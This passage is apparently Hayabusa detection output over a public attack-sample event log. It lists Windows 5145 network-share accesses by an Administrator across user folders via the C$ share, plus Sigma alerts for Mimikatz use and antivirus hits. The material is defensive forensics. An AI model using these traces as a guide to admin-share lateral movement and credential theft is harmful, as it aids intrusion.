\??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Modals : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.489 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\SearchContainer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.499 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\SearchContainer\Tabs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.499 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Spotlight : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.509 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\components\Zoom : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.509 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\css : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.509 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\fonts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.509 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\img : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.519 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\src\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.519 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\HackingStuff : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.519 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\HackingStuff\logs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\mimikatz_trunk : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\mimikatz_trunk\Win32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\mimikatz_trunk\x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.529 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.539 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.539 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.539 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.549 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.549 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.549 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.559 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop\mimikatz_trunk : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop\mimikatz_trunk\Win32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop\mimikatz_trunk\x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Music\desktop.ini : IP Address: 